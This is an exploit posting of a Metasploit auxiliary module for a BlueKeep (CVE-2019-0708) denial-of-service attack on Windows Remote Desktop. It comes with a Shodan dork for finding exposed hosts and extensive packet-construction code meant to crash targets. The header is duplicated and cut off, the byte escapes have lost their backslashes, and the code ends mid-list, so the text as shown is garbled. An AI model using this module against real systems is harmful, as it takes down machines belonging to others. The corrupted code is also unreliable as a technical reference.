Microsoft Windows RDP BlueKeep Denial Of Service

# Exploit Title: Bluekeep Denial of Service (metasploit module)
# Shodan Dork: port:3389
# Date: 07/14/2019
# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)
# Ve # Exploit Title: Bluekeep Denial of Service (metasploit module)
# Shodan Dork: port:3389
# Date: 07/14/2019
# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)
# Vendor Homepage: https://microsoft.com
# Version: all affected RDP services by cve-2019-0708
# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)
# CVE : 2019-0708

# I just modified the initial metasploit module for this vuln to produce a denial of service attack.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking

include Msf::Auxiliary::Dos
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',
'Description' => %q{
This module checks a range of hosts for the CVE-2019-0708 vulnerability
by binding the MS_T120 channel outside of its normal slot and sending
DoS packets.
},
'Author' =>
[
'National Cyber Security Centre', # Discovery
'JaGoTu', # Module
'zerosum0x0', # Module
'Tom Sellers', # TLS support and documented packets
'RAMELLA Sebastien' # Denial of service module
],
'References' =>
[
[ 'CVE', '2019-0708' ],
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
],
'DisclosureDate' => '2019-05-14',
'License' => MSF_LICENSE,
'Notes' =>
{
'Stability' => [ CRASH_OS_DOWN ],
'AKA' => ['BlueKeep']
}
))

register_options(
[
OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),
OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),
OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),
OptString.new('RDP_USER', [ false, 'The username to report during connection.']),
OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']),
OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])
]
)
end

# ------------------------------------------------------------------------- #

def bin_to_hex(s)
return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)
end

def bytes_to_bignum(bytesIn, order = "little")
bytes = bin_to_hex(bytesIn)
if(order == "little")
bytes = bytes.scan(/../).reverse.join('')
end
s = "0x" + bytes

return(s.to_i(16))
end

## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110
def int_to_bytestring(daInt, num_chars = nil)
unless(num_chars)
bits_needed = Math.log(daInt) / Math.log(2)
num_chars = (bits_needed / 8.0).ceil
end
if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])
[daInt].pack(pack_code)
else
a = (0..(num_chars)).map{ | i |
(( daInt >> i*8 ) & 0xFF ).chr
}.join
a[0..-2] # Seems legit lol!
end
end

def open_connection()
begin
connect()
sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error("Connection error: #{e.message}")
return(false)
end

return(true)
end

def rsa_encrypt(bignum, rsexp, rsmod)
return((bignum ** rsexp) % rsmod)
end

# ------------------------------------------------------------------------- #

## Used to abruptly abort scanner for a given host.
class RdpCommunicationError < StandardError
end

## Define standard RDP constants.
class RDPConstants
PROTOCOL_RDP = 0
end

DEFAULT_CHANNELS_DEFS =
"x04x00x00x00" + # channelCount: 4

## Channels definitions consist of a name (8 bytes) and options flags
## (4 bytes). Names are up to 7 ANSI characters with null termination.
"x72x64x70x73x6ex64x00x00" + # rdpsnd
"x0fx00x00xc0" +
"x63x6cx69x70x72x64x72x00" + # cliprdr
"x00x00xa0xc0" +
"x64x72x64x79x6ex76x63" + # drdynvc
"x00x00x00x80xc0" +
"x4dx53x5fx54x31x32x30" + # MS_T120
"x00x00x00x00x00"

## Builds x.224 Data (DT) TPDU - Section 13.7
def rdp_build_data_tpdu(data)
tpkt_length = data.length + 7

"x03x00" + # TPKT Header version 03, reserved 0
[tpkt_length].pack("S>") + # TPKT length
"x02xf0" + # X.224 Data TPDU (2 bytes)
"x80" + # X.224 End Of Transmission (0x80)
data
end

## Build the X.224 packet, encrypt with Standard RDP Security as needed.
## Default channel_id = 0x03eb = 1003.
def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "x03xeb", client_info = false, rdp_sec = true)
flags = 0
flags |= 0b1000 if(rdp_sec) # Set SEC_ENCRYPT
flags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT

pdu = ""

## TS_SECURITY_HEADER - 2.2.8.1.1.2.1
## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.
if(client_info || rdp_sec)
pdu << [flags].pack("S<") # flags "x48x00" = SEC_INFO_PKT | SEC_ENCRYPT
pdu << "x00x00" # flagsHi
end

if(rdp_sec)
## Encrypt the payload with RDP Standard Encryption.
pdu << rdp_hmac(hmackey, data)[0..7]
pdu << rdp_rc4_crypt(rc4enckey, data)
else
pdu << data
end

user_data_len = pdu.length
udl_with_flag = 0x8000 | user_data_len

pkt = "x64" # sendDataRequest
pkt << "x00x08" # intiator userId (TODO: for a functional client this isn't static)
pkt << channel_id # channelId
pkt << "x70" # dataPriority
pkt << [udl_with_flag].pack("S>")
pkt << pdu

return(rdp_build_data_tpdu(pkt))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471
## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1
def rdp_build_share_control_header(type, data, channel_id = "xf1x03")
total_len = data.length + 6

return(
[total_len].pack("S<") + # totalLength - includes all headers
[type].pack("S<") + # pduType - flags 16 bit, unsigned
channel_id + # PDUSource: 0x03f1 = 1009
data
)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31
## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2
def rdp_build_share_data_header(type, data)
uncompressed_len = data.length + 4

return(
"xeax03x01x00" + # shareId: 66538
"x00" + # pad1
"x01" + # streamID: 1
[uncompressed_len].pack("S<") + # uncompressedLength - 16 bit, unsigned int
[type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2
"x00" + # compressedType: 0
"x00x00" + # compressedLength: 0
data
)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b
## Virtual Channel PDU 2.2.6.1
def rdp_build_virtual_channel_pdu(flags, data)
data_len = data.length

return(
[data_len].pack("L<") + # length
[flags].pack("L<") + # flags
data
)
end

def rdp_calculate_rc4_keys(client_random, server_random)
## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).
preMasterSecret = client_random[0..23] + server_random[0..23]

## PreMasterHash(I) = SaltedHash(preMasterSecret, I)
## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).
masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) + rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random)

## MasterHash(I) = SaltedHash(MasterSecret, I)
## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).
sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) + rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random)

## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).
initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)

## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).
initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)

macKey = sessionKeyBlob[0..15]

return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
end

def rdp_connection_initiation()
## Code to check if RDP is open or not.
vprint_status("Verifying RDP protocol...")

vprint_status("Attempting to connect using RDP security")
rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))

received = sock.get_once(-1, 5)

## TODO: fix it.
if (received and received.include? "x00x12x34x00")
return(true)
end

return(false)
end

## FinalHash(K) = MD5(K + ClientRandom + ServerRandom).
def rdp_final_hash(k, client_random_bytes, server_random_bytes)
md5 = Digest::MD5.new

md5 << k
md5 << client_random_bytes
md5 << server_random_bytes

return([md5.hexdigest].pack("H*"))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94
## mac_salt_key = "Wx13xc58x7fxebxa9x10*x1exddVx96x8b[d"
## data_content = "x12x00x17x00xefx03xeax03x02x00x00x01x04x00$x00x00x00"
## hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: "22d5aeb486994a0c785dc929a2855923".
def rdp_hmac(mac_salt_key, data_content)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new

pad1 = "x36" * 40
pad2 = "x5c" * 48

sha1 << mac_salt_key
sha1 << pad1
sha1 << [data_content.length].pack('<L')
sha1 << data_content

md5 << mac_salt_key
md5 << pad2
md5 << [sha1.hexdigest].pack("H*")

return([md5.hexdigest].pack("H*"))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c
## Parse Server MCS Connect Response PUD - 2.2.1.4
def rdp_parse_connect_response(pkt)
ptr = 0
rdp_pkt = pkt[0x49..pkt.length]

while(ptr < rdp_pkt.length)
header_type = rdp_pkt[ptr..ptr + 1]
header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0]
# vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}")

if(header_type == "x02x0c")
# vprint_status("Security header")

server_random = rdp_pkt[ptr + 20..ptr + 51]
public_exponent = rdp_pkt[ptr + 84..ptr + 87]

modulus = rdp_pkt[ptr + 88..ptr + 151]
# vprint_status("modulus_old: #{bin_to_hex(modulus)}")

rsa_magic = rdp_pkt[ptr + 68..ptr + 71]
if(rsa_magic != "RSA1")
print_error("Server cert isn't RSA, this scenario isn't supported (yet).")
raise RdpCommunicationError
end
# vprint_status("RSA magic: #{rsa_magic}")

bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8
vprint_status("RSA #{bitlen}-bits")

modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]
# vprint_status("modulus_new: #{bin_to_hex(modulus)}")
end

ptr += header_length
end

# vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}")
# vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}")
# vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}")

rsmod = bytes_to_bignum(modulus)
rsexp = bytes_to_bignum(public_exponent)
rsran = bytes_to_bignum(server_random)

vprint_status("MODULUS: #{bin_to_hex(modulus)} - #{rsmod.to_s}")
vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")
vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}")

return rsmod, rsexp, rsran, server_random, bitlen
end

def rdp_rc4_crypt(rc4obj, data)
rc4obj.encrypt(data)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f
## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))
def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new

sha1 << i_bytes
sha1 << s_bytes
sha1 << client_random_bytes
sha1 << server_random_bytes

md5 << s_bytes
md5 << [sha1.hexdigest].pack("H*")

return([md5.hexdigest].pack("H*"))
end

def rdp_recv()
buffer_1 = sock.get_once(4, 5)
raise RdpCommunicationError unless buffer_1 # nil due to a timeout

buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5)
raise RdpCommunicationError unless buffer_2 # nil due to a timeout

vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}")
return(buffer_1 + buffer_2)
end

def rdp_send(data)
vprint_status("Send data: #{bin_to_hex(data)}")

sock.put(data)
end

def rdp_sendrecv(data)
rdp_send(data)

return(rdp_recv())
end

# ------------------------------------------------------------------------- #

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10
## Client X.224 Connect Request PDU - 2.2.1.1
def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP)
## Blank username is valid, nil is random.
user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)
tpkt_len = user_name.length + 38
x224_len = user_name.length + 33

return(
"x03x00" + # TPKT Header version 03, reserved 0
[tpkt_len].pack("S>") + # TPKT length: 43
[x224_len].pack("C") + # X.224 LengthIndicator
"xe0" + # X.224 Type: Connect Request
"x00x00" + # dst reference
"x00x00" + # src reference
"x00" + # class and options
"x43x6fx6fx6bx69x65x3ax20x6dx73x74x73x68x61x73x68x3d" + # cookie - literal 'Cookie: mstshash='
user_name + # Identifier "username"
"x0dx0a" + # cookie terminator
"x01x00" + # Type: RDP Negotiation Request (0x01)
"x08x00" + # Length
[requested_protocols].pack('L<') # requestedProtocols
)
end

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS)
## After negotiating TLS or NLA the connectInitial packet needs to include the
## protocol selection that the server indicated in its negotiation response.

## TODO: If this is pulled into an RDP library then the channel list likely
## needs to be build dynamically. For example, MS_T120 likely should only
## ever be sent as part of checks for CVE-2019-0708.

## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)
## 15 characters + null terminator, converted to unicode
## fixed length - 32 characters total
name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')
name_unicode += "x00" * (32 - name_unicode.length)

pdu = "x7fx65" + # T.125 Connect-Initial (BER: Application 101)
"x82x01xb2" + # Length (BER: Length)
"x04x01x01" + # CallingDomainSelector: 1 (BER: OctetString)
"x04x01x01" + # CalledDomainSelector: 1 (BER: OctetString)
"x01x01xff" + # UpwaredFlag: True (BER: boolean)

## Connect-Initial: Target Parameters
"x30x19" + # TargetParamenters (BER: SequenceOf)
## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***
"x02x01x22x02x01x02x02x01x00x02x01x01x02x01x00x02x01x01x02x02xffxffx02x01x02" +

## Connect-Intial: Minimum Parameters
"x30x19" + # MinimumParameters (BER: SequencOf)
"x02x01x01x02x01x01x02x01x01x02x01x01x02x01x00x02x01x01x02x02x04x20x02x01x02" +

## Connect-Initial: Maximum Parameters
"x30x1c" + # MaximumParameters (BER: SequencOf)
"x02x02xffxffx02x02xfcx17x02x02xffxffx02x01x01x02x01x00x02x01x01x02x02xffxffx02x01x02" +

## Connect-Initial: UserData
"x04x82x01x51" + # UserData, length 337 (BER: OctetString)

## T.124 GCC Connection Data (ConnectData) - PER Encoding used
"x00x05" + # object length
"x00x14x7cx00x01" + # object: OID 0.0.20.124.0.1 = Generic Conference Control
"x81x48" + # Length: ??? (Connect PDU)
"x00x08x00x10x00x01xc0x00" + # T.124 Connect PDU, Conference name 1
"x44x75x63x61" + # h221NonStandard: 'Duca' (client-to-server H.221 key)
"x81x3a" + # Length: ??? (T.124 UserData section)

## Client MCS Section - 2.2.1.3
"x01xc0" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2
"xeax00" + # Length: 234 (includes header)
"x0ax00x08x00" + # version: 8.1 (RDP 5.0 -> 8.1)
"x80x07" + # desktopWidth: 1920
"x38x04" + # desktopHeigth: 1080
"x01xca" + # colorDepth: 8 bpp
"x03xaa" + # SASSequence: 43523
"x09x04x00x00" + # keyboardLayout: 1033 (English US)
"xeex42x00x00" + # clientBuild: ????
[name_unicode].pack("a*") + # clientName
"x04x00x00x00" + # keyboardType: 4 (IBMEnhanced 101 or 102)
"x00x00x00x00" + # keyboadSubtype: 0
"x0cx00x00x00" + # keyboardFunctionKey: 12
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" + # imeFileName (64 bytes)
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x01xca" + # postBeta2ColorDepth: 8 bpp
"x01x00" + # clientProductID: 1
"x00x00x00x00" + # serialNumber: 0
"x18x00" + # highColorDepth: 24 bpp
"x0fx00" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)
"xafx07" + # earlyCapabilityFlags
"x62x00x63x00x37x00x38x00x65x00x66x00x36x00x33x00" + # clientDigProductID (64 bytes)
"x2dx00x39x00x64x00x33x00x33x00x2dx00x34x00x31x00" +
"x39x38x00x38x00x2dx00x39x00x32x00x63x00x66x00x2d" +
"x00x00x31x00x62x00x32x00x64x00x61x00x42x42x42x42" +
"x07" + # connectionType: 7
"x00" + # pad1octet

## serverSelectedProtocol - After negotiating TLS or CredSSP this value
## must match the selectedProtocol value from the server's Negotiate
## Connection confirm PDU that was sent before encryption was started.
[selected_proto].pack('L<') + # "x01x00x00x00"

"x56x02x00x00" +
"x50x01x00x00" +
"x00x00" +
"x64x00x00x00" +
"x64x00x00x00" +

"x04xc0" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5
"x0cx00" + # Length: 12 (includes header)
"x15x00x00x00" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)
"x00x00x00x00" + # RedirectedSessionID
"x02xc0" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3
"x0cx00" + # Length: 12 (includes header)
"x1bx00x00x00" + # encryptionMethods: 3 (40 bit | 128 bit)
"x00x00x00x00" + # extEncryptionMethods (French locale only)
"x03xc0" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4
"x38x00" + # Length: 56 (includes header)
channels_defs

## Fix. for packet modification.
## T.125 Connect-Initial
size_1 = [pdu.length - 5].pack("s") # Length (BER: Length)
pdu[3] = size_1[1]
pdu[4] = size_1[0]

## Connect-Initial: UserData
size_2 = [pdu.length - 102].pack("s") # UserData, length (BER: OctetString)
pdu[100] = size_2[1]
pdu[101] = size_2[0]

## T.124 GCC Connection Data (ConnectData) - PER Encoding used
size_3 = [pdu.length - 111].pack("s") # Length (Connect PDU)
pdu[109] = "x81"
pdu[110] = size_3[0]

size_4 = [pdu.length - 125].pack("s") # Length (T.124 UserData section)
pdu[123] = "x81"
pdu[124] = size_4[0]

## Client MCS Section - 2.2.1.3
size_5 = [pdu.length - 383].pack("s") # Length (includes header)
pdu[385] = size_5[0]

rdp_build_data_tpdu(pdu)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f
## Client Security Exchange PDU - 2.2.1.10
def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)
encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)

bitlen += 8 # Pad with size of TS_SECURITY_PACKET header

userdata_length = 8 + bitlen
userdata_length_low = userdata_length & 0xFF
userdata_length_high = userdata_length / 256
flags = 0x80 | userdata_length_high

pdu = "x64" + # T.125 sendDataRequest
"x00x08" + # intiator userId
"x03xeb" + # channelId = 1003
"x70" + # dataPriority = high, segmentation = begin | end
[flags].pack("C") +
[userdata_length_low].pack("C") + # UserData length

# TS_SECURITY_PACKET - 2.2.1.10.1
"x01x00" + # securityHeader flags
"x00x00" + # securityHeader flagsHi
[bitlen].pack("L<") + # TS_ length
encrypted_rcran + # encryptedClientRandom - 64 bytes
"x00x00x00x00x00x00x00x00" # 8 bytes rear padding (always present)

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c
## Client MCS Erect Domain Request PDU - 2.2.1.5
def pdu_erect_domain_request()
pdu = "x04" + # T.125 ErectDomainRequest
"x01x00" + # subHeight - length 1, value 0
"x01x00" # subInterval - length 1, value 0

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247
## Client MCS Attach User Request PDU - 2.2.1.6
def pdu_attach_user_request()
pdu = "x28" # T.125 AttachUserRequest

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b
## Client MCS Channel Join Request PDU -2.2.1.8
def pdu_channel_request(user1, channel_id)
pdu = "x38" + [user1, channel_id].pack("nn") # T.125 ChannelJoinRequest

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d
## TS_INFO_PACKET - 2.2.1.11.1.1
def pdu_client_info(user_name, domain_name = "", ip_address = "")
## Max. len for 4.0/6.0 servers is 44 bytes including terminator.
## Max. len for all other versions is 512 including terminator.
## We're going to limit to 44 (21 chars + null -> unicode) here.

## Blank username is valid, nil = random.
user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?
user_unicode = Rex::Text.to_unicode(user_name[0..20], type = 'utf-16le')
uname_len = user_unicode.length

## Domain can can be, and for rdesktop typically is, empty.
## Max. len for 4.0/5.0 servers is 52 including terminator.
## Max. len for all other versions is 512 including terminator.
## We're going to limit to 52 (25 chars + null -> unicode) here.
domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')
domain_len = domain_unicode.length

## This address value is primarily used to reduce the fields by which this
## module can be fingerprinted. It doesn't show up in Windows logs.
## clientAddress + null terminator
ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "x00x00"
ip_len = ip_unicode.length

pdu = "xa1xa5x09x04" +
"x09x04xbbx47" + # CodePage
"x03x00x00x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY
[domain_len].pack("S<") + # cbDomain (length value) - EXCLUDES null terminator
[uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator
"x00x00" + # cbPassword (length value)
"x00x00" + # cbAlternateShell (length value)
"x00x00" + # cbWorkingDir (length value)
[domain_unicode].pack("a*") + # Domain
"x00x00" + # Domain null terminator, EXCLUDED from value of cbDomain
[user_unicode].pack("a*") + # UserName
"x00x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName
"x00x00" + # Password - empty
"x00x00" + # AlternateShell - empty

## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1
"x02x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically
[ip_len].pack("S<") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons.
[ip_unicode].pack("a*") + # clientAddress (unicode + null terminator (unicode)

"x3cx00" + # cbClientDir (length value): 60
"x43x00x3ax00x5cx00x57x00x49x00x4ex00x4ex00x54x00" + # clientDir - 'C:WINNTSystem32mstscax.dll' + null terminator
"x5cx00x53x00x79x00x73x00x74x00x65x00x6dx00x33x00" +
"x32x00x5cx00x6dx00x73x00x74x00x73x00x63x00x61x00" +
"x78x00x2ex00x64x00x6cx00x6cx00x00x00" +

## clientTimeZone - TS_TIME_ZONE struct - 172 bytes
## These are the default values for rdesktop
"xa4x01x00x00" + # Bias

## StandardName - 'GTB,normaltid'
"x4dx00x6fx00x75x00x6ex00x74x00x61x00x69x00x6ex00" +
"x20x00x53x00x74x00x61x00x6ex00x64x00x61x00x72x00" +
"x64x00x20x00x54x00x69x00x6dx00x65x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x0bx00x00x00x01x00x02x00x00x00x00x00x00x00" + # StandardDate
"x00x00x00x00" + # StandardBias

## DaylightName - 'GTB,sommartid'
"x4dx00x6fx00x75x00x6ex00x74x00x61x00x69x00x6ex00" +
"x20x00x44x00x61x00x79x00x6cx00x69x00x67x00x68x00" +
"x74x00x20x00x54x00x69x00x6dx00x65x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x03x00x00x00x02x00x02x00x00x00x00x00x00x00" + # DaylightDate
"xc4xffxffxff" + # DaylightBias

"x01x00x00x00" + # clientSessionId
"x06x00x00x00" + # performanceFlags
"x00x00" + # cbAutoReconnectCookie
"x64x00x00x00"

return(pdu)
end

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48
# Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1
def pdu_client_confirm_active()
pdu = "xeax03x01x00" + # shareId: 66538
"xeax03" + # originatorId
"x06x00" + # lengthSourceDescriptor: 6
"x3ex02" + # lengthCombinedCapabilities: ???
"x4dx53x54x53x43x00" + # SourceDescriptor: 'MSTSC'
"x17x00" + # numberCapabilities: 23
"x00x00" + # pad2Octets
"x01x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET
"x18x00" + # lengthCapability: 24
"x01x00x03x00x00x02x00x00x00x00x1dx04x00x00x00x00" +
"x00x00x00x00" +
"x02x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET
"x1cx00" + # lengthCapability: 28
"x20x00x01x00x01x00x01x00x80x07x38x04x00x00x01x00" +
"x01x00x00x1ax01x00x00x00" +
"x03x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET
"x58x00" + # lengthCapability: 88
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x01x00x14x00x00x00x01x00x00x00xaax00" +
"x01x01x01x01x01x00x00x01x01x01x00x01x00x00x00x01" +
"x01x01x01x01x01x01x01x00x01x01x01x00x00x00x00x00" +
"xa1x06x06x00x00x00x00x00x00x84x03x00x00x00x00x00" +
"xe4x04x00x00x13x00x28x00x03x00x00x03x78x00x00x00" +
"x78x00x00x00xfcx09x00x80x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00" +
"x0ax00" + # capabilitySetType: 10 - ??
"x08x00" + # lengthCapability: 8
"x06x00x00x00" +
"x07x00" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET
"x0cx00" + # lengthCapability: 12
"x00x00x00x00x00x00x00x00" +
"x05x00" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET
"x0cx00" + # lengthCapability: 12
"x00x00x00x00x02x00x02x00" +
"x08x00" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET
"x0ax00" + # lengthCapability: 10
"x01x00x14x00x15x00" +
"x09x00" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET
"x08x00" + # lengthCapability: 8
"x00x00x00x00" +
"x0dx00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET
"x58x00" + # lengthCapability: 88
"x91x00x20x00x09x04x00x00x04x00x00x00x00x00x00x00" +
"x0cx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00" +
"x0cx00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET
"x08x00" + # lengthCapability: 8
"x01x00x00x00" +
"x0ex00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET
"x08x00" + # lengthCapability: 8
"x01x00x00x00" +
"x10x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET
"x34x00" + # lengthCapability: 52
"xfex00x04x00xfex00x04x00xfex00x08x00xfex00x08x00" +
"xfex00x10x00xfex00x20x00xfex00x40x00xfex00x80x00" +
"xfex00x00x01x40x00x00x08x00x01x00x01x03x00x00x00" +
"x0fx00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET
"x08x00" + # lengthCapability: 8
"x01x00x00x00" +
"x11x00" + # capabilitySetType: ??
"x0cx00" + # lengthCapability: 12
"x01x00x00x00x00x28x64x00" +
"x14x00" + # capabilitySetType: ??
"x0cx00" + # lengthCapability: 12
"x01x00x00x00x00x00x00x00" +
"x15x00" + # capabilitySetType: ??
"x0cx00" + # lengthCapability: 12
"x02x00x00x00x00x0ax00x01" +
"x1ax00" + # capabilitySetType: ??
"x08x00" + # lengthCapability: 8
"xafx94x00x00" +
"x1cx00" + # capabilitySetType: ??
"x0cx00" + # lengthCapability: 12
"x12x00x00x00x00x00x00x00" +
"x1bx00" + # capabilitySetType: ??
"x06x00" + # lengthCapability: 6
"x01x00" +
"x1ex00" + # capabilitySetType: ??
"x08x00" + # lengthCapability: 8
"x01x00x00x00" +
"x18x00" + # capabilitySetType: ??
